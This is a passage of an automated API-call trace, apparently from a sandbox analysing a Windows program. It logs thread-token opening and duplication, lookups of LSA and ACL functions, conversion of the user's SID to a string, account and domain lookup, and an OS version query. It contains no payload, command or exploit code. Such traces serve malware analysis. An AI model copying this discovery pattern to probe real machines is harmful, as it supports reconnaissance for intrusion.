pwszLanguagesBuffer=0xfd950, pcchLanguagesBuffer=0xe7e1c0 | out: pulNumLanguages=0xe7e2b8, pwszLanguagesBuffer=0xfd950, pcchLanguagesBuffer=0xe7e1c0) returned 1 [0161.006] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x8) returned 0xfd940 [0161.006] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0xfd950 | out: hHeap=0xc0000) returned 1 [0161.006] RtlAllocateHeap (HeapHandle=0xc0000, Flags=0x0, Size=0x14) returned 0x12eec0 [0161.006] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x12eec0, pulNumLanguages=0xe7e2b8 | out: pulNumLanguages=0xe7e2b8) returned 1 [0161.006] HeapFree (in: hHeap=0xc0000, dwFlags=0x0, lpMem=0x12eec0 | out: hHeap=0xc0000) returned 1 [0161.007] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0161.008] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0161.008] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0161.008] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0161.008] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0161.008] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0161.008] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0161.010] memcpy (in: _Dst=0xe7dad0, _Src=0xe7da50, _Size=0x68 | out: _Dst=0xe7dad0) returned 0xe7dad0 [0161.010] GetCurrentThread () returned 0xfffffffffffffffe [0161.010] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0xe7cc40 | out: TokenHandle=0xe7cc40*=0x2ac) returned 1 [0161.010] malloc (_Size=0xd8) returned 0x2b90e0 [0161.010] LoadLibraryW (lpLibFileName="ADVAPI32.DLL") returned 0x7fefe7b0000 [0161.010] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaEnumerateTrustedDomains") returned 0x7fefe7f8200 [0161.011] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaQueryInformationPolicy") returned 0x7fefe7d20b0 [0161.011] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaNtStatusToWinError") returned 0x7fefe7f7e40 [0161.011] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaFreeMemory") returned 0x7fefe7be390 [0161.011] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaOpenPolicy") returned 0x7fefe7d0b40 [0161.011] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="LsaClose") returned 0x7fefe7d2040 [0161.011] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="QueryServiceStatusEx") returned 0x7fefe7b7004 [0161.011] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="DuplicateTokenEx") returned 0x7fefe7bd310 [0161.011] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetSecurityDescriptorControl") returned 0x7fefe7d3fe4 [0161.011] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="ConvertToAutoInheritPrivateObjectSecurity") returned 0x7fefe7eb828 [0161.012] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="DestroyPrivateObjectSecurity") returned 0x7fefe7bf924 [0161.012] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="CheckTokenMembership") returned 0x7fefe7bd980 [0161.012] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAccessAllowedObjectAce") returned 0x7fefe7eba94 [0161.012] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAccessDeniedObjectAce") returned 0x7fefe7eba30 [0161.012] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="AddAuditAccessObjectAce") returned 0x7fefe7eb9a8 [0161.012] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetNamedSecurityInfoW") returned 0x7fefe7b89a0 [0161.012] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetNamedSecurityInfoW") returned 0x7fefe7bf990 [0161.012] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="SetNamedSecurityInfoExW") returned 0x7fefe80dc00 [0161.012] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetExplicitEntriesFromAclW") returned 0x7fefe7f56a0 [0161.013] GetProcAddress (hModule=0x7fefe7b0000, lpProcName="GetEffectiveRightsFromAclW") returned 0x7fefe7f56f0 [0161.013] malloc (_Size=0x18) returned 0x2af240 [0161.013] DuplicateTokenEx (in: hExistingToken=0x2ac, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x1, phNewToken=0xe7cc48 | out: phNewToken=0xe7cc48*=0x1ec) returned 1 [0161.013] malloc (_Size=0x48) returned 0x2ad680 [0161.013] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xe7ca18 | out: lpSystemTimeAsFileTime=0xe7ca18*(dwLowDateTime=0x2c2d4ae0, dwHighDateTime=0x1d8a92a)) [0161.013] SetEvent (hEvent=0x1f0) returned 1 [0161.015] GetTokenInformation (in: TokenHandle=0x2ac, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xe7cb60 | out: TokenInformation=0x0, ReturnLength=0xe7cb60) returned 0 [0161.015] GetLastError () returned 0x7a [0161.015] malloc (_Size=0x2c) returned 0x2b8b10 [0161.015] GetTokenInformation (in: TokenHandle=0x2ac, TokenInformationClass=0x1, TokenInformation=0x2b8b10, TokenInformationLength=0x2c, ReturnLength=0xe7cb60 | out: TokenInformation=0x2b8b10, ReturnLength=0xe7cb60) returned 1 [0161.016] IsValidSid (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0161.016] GetLengthSid (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0161.016] malloc (_Size=0x1c) returned 0x2b86e0 [0161.016] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x2b86e0, pSourceSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x2b86e0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0161.016] GetSidIdentifierAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2b8b22 [0161.016] malloc (_Size=0x18) returned 0x2af240 [0161.016] _ultow (in: _Dest=0x5, _Radix=15190464 | out: _Dest=0x5) returned="5" [0161.016] malloc (_Size=0x18) returned 0x2af1a0 [0161.016] malloc (_Size=0x18) returned 0x2af180 [0161.016] SysStringLen (param_1="S-1-") returned 0x4 [0161.016] SysStringLen (param_1="5") returned 0x1 [0161.016] memcpy (in: _Dst=0x142308, _Src=0x1424e8, _Size=0xa | out: _Dst=0x142308) returned 0x142308 [0161.016] memcpy (in: _Dst=0x142310, _Src=0x142338, _Size=0x4 | out: _Dst=0x142310) returned 0x142310 [0161.016] free (_Block=0x2af240) [0161.016] free (_Block=0x2af1a0) [0161.016] GetSidSubAuthorityCount (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2b8b21 [0161.016] GetSidSubAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0x2b8b28 [0161.016] _ultow (in: _Dest=0x15, _Radix=15190464 | out: _Dest=0x15) returned="21" [0161.016] malloc (_Size=0x18) returned 0x2af1a0 [0161.016] malloc (_Size=0x18) returned 0x2af240 [0161.017] SysStringLen (param_1="S-1-5") returned 0x5 [0161.017] SysStringLen (param_1="-") returned 0x1 [0161.017] memcpy (in: _Dst=0x142338, _Src=0x142308, _Size=0xc | out: _Dst=0x142338) returned 0x142338 [0161.017] memcpy (in: _Dst=0x142342, _Src=0x1424e8, _Size=0x4 | out: _Dst=0x142342) returned 0x142342 [0161.017] free (_Block=0x2af180) [0161.017] free (_Block=0x2af1a0) [0161.017] malloc (_Size=0x18) returned 0x2af1a0 [0161.017] malloc (_Size=0x18) returned 0x2af180 [0161.017] SysStringLen (param_1="S-1-5-") returned 0x6 [0161.017] SysStringLen (param_1="21") returned 0x2 [0161.017] memcpy (in: _Dst=0x1424e8, _Src=0x142338, _Size=0xe | out: _Dst=0x1424e8) returned 0x1424e8 [0161.017] memcpy (in: _Dst=0x1424f4, _Src=0x142308, _Size=0x6 | out: _Dst=0x1424f4) returned 0x1424f4 [0161.017] free (_Block=0x2af240) [0161.017] free (_Block=0x2af1a0) [0161.017] GetSidSubAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0x2b8b2c [0161.017] _ultow (in: _Dest=0xfb7f942f, _Radix=15190464 | out: _Dest=0xfb7f942f) returned="4219442223" [0161.017] malloc (_Size=0x18) returned 0x2af1a0 [0161.017] malloc (_Size=0x18) returned 0x2af240 [0161.017] SysStringLen (param_1="S-1-5-21") returned 0x8 [0161.017] SysStringLen (param_1="-") returned 0x1 [0161.018] memcpy (in: _Dst=0x142308, _Src=0x1424e8, _Size=0x12 | out: _Dst=0x142308) returned 0x142308 [0161.018] memcpy (in: _Dst=0x142318, _Src=0x142338, _Size=0x4 | out: _Dst=0x142318) returned 0x142318 [0161.018] free (_Block=0x2af180) [0161.018] free (_Block=0x2af1a0) [0161.018] malloc (_Size=0x18) returned 0x2af1a0 [0161.018] malloc (_Size=0x18) returned 0x2af180 [0161.018] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0161.018] SysStringLen (param_1="4219442223") returned 0xa [0161.018] memcpy (in: _Dst=0x118128, _Src=0x142308, _Size=0x14 | out: _Dst=0x118128) returned 0x118128 [0161.018] memcpy (in: _Dst=0x11813a, _Src=0x1424e8, _Size=0x16 | out: _Dst=0x11813a) returned 0x11813a [0161.018] free (_Block=0x2af240) [0161.018] free (_Block=0x2af1a0) [0161.018] GetSidSubAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0x2b8b30 [0161.018] _ultow (in: _Dest=0xfbc24a41, _Radix=15190464 | out: _Dest=0xfbc24a41) returned="4223814209" [0161.018] malloc (_Size=0x18) returned 0x2af1a0 [0161.018] malloc (_Size=0x18) returned 0x2af240 [0161.018] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0161.018] SysStringLen (param_1="-") returned 0x1 [0161.018] memcpy (in: _Dst=0x118038, _Src=0x118128, _Size=0x28 | out: _Dst=0x118038) returned 0x118038 [0161.019] memcpy (in: _Dst=0x11805e, _Src=0x142308, _Size=0x4 | out: _Dst=0x11805e) returned 0x11805e [0161.019] free (_Block=0x2af180) [0161.019] free (_Block=0x2af1a0) [0161.019] malloc (_Size=0x18) returned 0x2af1a0 [0161.019] malloc (_Size=0x18) returned 0x2af180 [0161.019] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0161.019] SysStringLen (param_1="4223814209") returned 0xa [0161.019] memcpy (in: _Dst=0x12d6f8, _Src=0x118038, _Size=0x2a | out: _Dst=0x12d6f8) returned 0x12d6f8 [0161.019] memcpy (in: _Dst=0x12d720, _Src=0x142308, _Size=0x16 | out: _Dst=0x12d720) returned 0x12d720 [0161.019] free (_Block=0x2af240) [0161.019] free (_Block=0x2af1a0) [0161.019] GetSidSubAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0x2b8b34 [0161.019] _ultow (in: _Dest=0xe49636b4, _Radix=15190464 | out: _Dest=0xe49636b4) returned="3835049652" [0161.019] malloc (_Size=0x18) returned 0x2af1a0 [0161.019] malloc (_Size=0x18) returned 0x2af240 [0161.019] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0161.019] SysStringLen (param_1="-") returned 0x1 [0161.019] memcpy (in: _Dst=0x171608, _Src=0x12d6f8, _Size=0x3e | out: _Dst=0x171608) returned 0x171608 [0161.019] memcpy (in: _Dst=0x171644, _Src=0x142308, _Size=0x4 | out: _Dst=0x171644) returned 0x171644 [0161.019] free (_Block=0x2af180) [0161.020] free (_Block=0x2af1a0) [0161.020] malloc (_Size=0x18) returned 0x2af1a0 [0161.020] malloc (_Size=0x18) returned 0x2af180 [0161.020] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0161.020] SysStringLen (param_1="3835049652") returned 0xa [0161.020] memcpy (in: _Dst=0x12d6f8, _Src=0x171608, _Size=0x40 | out: _Dst=0x12d6f8) returned 0x12d6f8 [0161.020] memcpy (in: _Dst=0x12d736, _Src=0x142308, _Size=0x16 | out: _Dst=0x12d736) returned 0x12d736 [0161.020] free (_Block=0x2af240) [0161.020] free (_Block=0x2af1a0) [0161.020] GetSidSubAuthority (pSid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0x2b8b38 [0161.020] _ultow (in: _Dest=0x3e8, _Radix=15190464 | out: _Dest=0x3e8) returned="1000" [0161.020] malloc (_Size=0x18) returned 0x2af1a0 [0161.020] malloc (_Size=0x18) returned 0x2af240 [0161.020] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0161.020] SysStringLen (param_1="-") returned 0x1 [0161.020] memcpy (in: _Dst=0x171608, _Src=0x12d6f8, _Size=0x54 | out: _Dst=0x171608) returned 0x171608 [0161.020] memcpy (in: _Dst=0x17165a, _Src=0x142308, _Size=0x4 | out: _Dst=0x17165a) returned 0x17165a [0161.020] free (_Block=0x2af180) [0161.020] free (_Block=0x2af1a0) [0161.020] malloc (_Size=0x18) returned 0x2af1a0 [0161.020] malloc (_Size=0x18) returned 0x2af180 [0161.021] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-") returned 0x2a [0161.021] SysStringLen (param_1="1000") returned 0x4 [0161.021] memcpy (in: _Dst=0x12d6f8, _Src=0x171608, _Size=0x56 | out: _Dst=0x12d6f8) returned 0x12d6f8 [0161.021] memcpy (in: _Dst=0x12d74c, _Src=0x142308, _Size=0xa | out: _Dst=0x12d74c) returned 0x12d74c [0161.021] free (_Block=0x2af240) [0161.021] free (_Block=0x2af1a0) [0161.021] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 0x2e [0161.021] malloc (_Size=0x5e) returned 0x2b0ad0 [0161.021] free (_Block=0x2af180) [0161.021] malloc (_Size=0x18) returned 0x2af180 [0161.021] free (_Block=0x2b0ad0) [0161.022] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x0, cchName=0xe7ca84, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90 | out: Name=0x0, cchName=0xe7ca84, ReferencedDomainName=0x0, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90) returned 0 [0161.023] GetLastError () returned 0x7a [0161.024] malloc (_Size=0x14) returned 0x2af1a0 [0161.024] malloc (_Size=0x16) returned 0x2af240 [0161.024] LookupAccountSidW (in: lpSystemName=0x0, Sid=0x2b8b20*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), Name=0x2af1a0, cchName=0xe7ca84, ReferencedDomainName=0x2af240, cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90 | out: Name="kEecfMwgj", cchName=0xe7ca84, ReferencedDomainName="Q9IATRKPRH", cchReferencedDomainName=0xe7ca80, peUse=0xe7cb90) returned 1 [0161.024] malloc (_Size=0x18) returned 0x2af280 [0161.024] malloc (_Size=0x18) returned 0x2af260 [0161.024] free (_Block=0x2af1a0) [0161.024] free (_Block=0x2af240) [0161.025] free (_Block=0x2b86e0) [0161.025] free (_Block=0x2af260) [0161.025] free (_Block=0x2af280) [0161.025] free (_Block=0x2af180) [0161.025] free (_Block=0x2b8b10) [0161.025] GetVersionExW (in: lpVersionInformation=0xe7cd70*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa746, dwMinorVersion=0x10a020, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0xe7cd70*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0161.025] GetTokenInformation (in: TokenHandle=0x2ac, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xe7cbf8 | out: TokenInformation=0x0, ReturnLength=0xe7cbf8) returned 0 [0161.025] GetLastError () returned 0x7a [0161.026] malloc (_Size=0x2c) returned 0x2b8b50 [0161.026] GetTokenInformation (in: TokenHandle=0x2ac, TokenInformationClass=0x1, TokenInformation=0x2b8b50, TokenInformationLength=0x2c, ReturnLength=0xe7cbf8 | out: TokenInformation=0x2b8b50, ReturnLength=0xe7cbf8) returned 1 [0161.026] IsValidSid (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0161.026] GetLengthSid (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x1c [0161.026] malloc (_Size=0x1c) returned 0x2b86e0 [0161.026] CopySid (in: nDestinationSidLength=0x1c, pDestinationSid=0x2b86e0, pSourceSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x2b86e0*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0161.026] GetSidIdentifierAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2b8b62 [0161.026] malloc (_Size=0x18) returned 0x2af180 [0161.026] _ultow (in: _Dest=0x5, _Radix=15190480 | out: _Dest=0x5) returned="5" [0161.026] malloc (_Size=0x18) returned 0x2af280 [0161.026] malloc (_Size=0x18) returned 0x2af260 [0161.026] SysStringLen (param_1="S-1-") returned 0x4 [0161.026] SysStringLen (param_1="5") returned 0x1 [0161.026] memcpy (in: _Dst=0x1424e8, _Src=0x142338, _Size=0xa | out: _Dst=0x1424e8) returned 0x1424e8 [0161.026] memcpy (in: _Dst=0x1424f0, _Src=0x142308, _Size=0x4 | out: _Dst=0x1424f0) returned 0x1424f0 [0161.026] free (_Block=0x2af180) [0161.026] free (_Block=0x2af280) [0161.026] GetSidSubAuthorityCount (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 0x2b8b61 [0161.026] GetSidSubAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x0) returned 0x2b8b68 [0161.026] _ultow (in: _Dest=0x15, _Radix=15190480 | out: _Dest=0x15) returned="21" [0161.026] malloc (_Size=0x18) returned 0x2af280 [0161.027] malloc (_Size=0x18) returned 0x2af180 [0161.027] SysStringLen (param_1="S-1-5") returned 0x5 [0161.027] SysStringLen (param_1="-") returned 0x1 [0161.027] memcpy (in: _Dst=0x142308, _Src=0x1424e8, _Size=0xc | out: _Dst=0x142308) returned 0x142308 [0161.027] memcpy (in: _Dst=0x142312, _Src=0x142338, _Size=0x4 | out: _Dst=0x142312) returned 0x142312 [0161.027] free (_Block=0x2af260) [0161.027] free (_Block=0x2af280) [0161.027] malloc (_Size=0x18) returned 0x2af280 [0161.027] malloc (_Size=0x18) returned 0x2af260 [0161.027] SysStringLen (param_1="S-1-5-") returned 0x6 [0161.027] SysStringLen (param_1="21") returned 0x2 [0161.027] memcpy (in: _Dst=0x142338, _Src=0x142308, _Size=0xe | out: _Dst=0x142338) returned 0x142338 [0161.027] memcpy (in: _Dst=0x142344, _Src=0x1424e8, _Size=0x6 | out: _Dst=0x142344) returned 0x142344 [0161.027] free (_Block=0x2af180) [0161.027] free (_Block=0x2af280) [0161.027] GetSidSubAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x1) returned 0x2b8b6c [0161.027] _ultow (in: _Dest=0xfb7f942f, _Radix=15190480 | out: _Dest=0xfb7f942f) returned="4219442223" [0161.027] malloc (_Size=0x18) returned 0x2af280 [0161.027] malloc (_Size=0x18) returned 0x2af180 [0161.027] SysStringLen (param_1="S-1-5-21") returned 0x8 [0161.027] SysStringLen (param_1="-") returned 0x1 [0161.028] memcpy (in: _Dst=0x1424e8, _Src=0x142338, _Size=0x12 | out: _Dst=0x1424e8) returned 0x1424e8 [0161.028] memcpy (in: _Dst=0x1424f8, _Src=0x142308, _Size=0x4 | out: _Dst=0x1424f8) returned 0x1424f8 [0161.028] free (_Block=0x2af260) [0161.028] free (_Block=0x2af280) [0161.028] malloc (_Size=0x18) returned 0x2af280 [0161.028] malloc (_Size=0x18) returned 0x2af260 [0161.028] SysStringLen (param_1="S-1-5-21-") returned 0x9 [0161.028] SysStringLen (param_1="4219442223") returned 0xa [0161.028] memcpy (in: _Dst=0x118128, _Src=0x1424e8, _Size=0x14 | out: _Dst=0x118128) returned 0x118128 [0161.028] memcpy (in: _Dst=0x11813a, _Src=0x142338, _Size=0x16 | out: _Dst=0x11813a) returned 0x11813a [0161.028] free (_Block=0x2af180) [0161.028] free (_Block=0x2af280) [0161.028] GetSidSubAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x2) returned 0x2b8b70 [0161.028] _ultow (in: _Dest=0xfbc24a41, _Radix=15190480 | out: _Dest=0xfbc24a41) returned="4223814209" [0161.028] malloc (_Size=0x18) returned 0x2af280 [0161.028] malloc (_Size=0x18) returned 0x2af180 [0161.028] SysStringLen (param_1="S-1-5-21-4219442223") returned 0x13 [0161.028] SysStringLen (param_1="-") returned 0x1 [0161.028] memcpy (in: _Dst=0x118038, _Src=0x118128, _Size=0x28 | out: _Dst=0x118038) returned 0x118038 [0161.028] memcpy (in: _Dst=0x11805e, _Src=0x1424e8, _Size=0x4 | out: _Dst=0x11805e) returned 0x11805e [0161.029] free (_Block=0x2af260) [0161.029] free (_Block=0x2af280) [0161.029] malloc (_Size=0x18) returned 0x2af280 [0161.029] malloc (_Size=0x18) returned 0x2af260 [0161.029] SysStringLen (param_1="S-1-5-21-4219442223-") returned 0x14 [0161.029] SysStringLen (param_1="4223814209") returned 0xa [0161.029] memcpy (in: _Dst=0x171608, _Src=0x118038, _Size=0x2a | out: _Dst=0x171608) returned 0x171608 [0161.029] memcpy (in: _Dst=0x171630, _Src=0x1424e8, _Size=0x16 | out: _Dst=0x171630) returned 0x171630 [0161.029] free (_Block=0x2af180) [0161.029] free (_Block=0x2af280) [0161.029] GetSidSubAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x3) returned 0x2b8b74 [0161.029] _ultow (in: _Dest=0xe49636b4, _Radix=15190480 | out: _Dest=0xe49636b4) returned="3835049652" [0161.029] malloc (_Size=0x18) returned 0x2af280 [0161.029] malloc (_Size=0x18) returned 0x2af180 [0161.029] SysStringLen (param_1="S-1-5-21-4219442223-4223814209") returned 0x1e [0161.029] SysStringLen (param_1="-") returned 0x1 [0161.029] memcpy (in: _Dst=0x12d6f8, _Src=0x171608, _Size=0x3e | out: _Dst=0x12d6f8) returned 0x12d6f8 [0161.029] memcpy (in: _Dst=0x12d734, _Src=0x1424e8, _Size=0x4 | out: _Dst=0x12d734) returned 0x12d734 [0161.029] free (_Block=0x2af260) [0161.029] free (_Block=0x2af280) [0161.029] malloc (_Size=0x18) returned 0x2af280 [0161.030] malloc (_Size=0x18) returned 0x2af260 [0161.030] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-") returned 0x1f [0161.030] SysStringLen (param_1="3835049652") returned 0xa [0161.030] memcpy (in: _Dst=0x171608, _Src=0x12d6f8, _Size=0x40 | out: _Dst=0x171608) returned 0x171608 [0161.030] memcpy (in: _Dst=0x171646, _Src=0x1424e8, _Size=0x16 | out: _Dst=0x171646) returned 0x171646 [0161.030] free (_Block=0x2af180) [0161.030] free (_Block=0x2af280) [0161.030] GetSidSubAuthority (pSid=0x2b8b60*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), nSubAuthority=0x4) returned 0x2b8b78 [0161.030] _ultow (in: _Dest=0x3e8, _Radix=15190480 | out: _Dest=0x3e8) returned="1000" [0161.030] malloc (_Size=0x18) returned 0x2af280 [0161.030] malloc (_Size=0x18) returned 0x2af180 [0161.030] SysStringLen (param_1="S-1-5-21-4219442223-4223814209-3835049652") returned 0x29 [0161.030] SysStringLen (param_1="-") returned 0x1 [0161.030] memcpy (in: _Dst=0x12d6f8, _Src=0x171608, _Size=0x54 | out: _Dst=0x12d6f8) returned 0x12d6f8 [0161.030] memcpy (in: _Dst=0x12d74a, 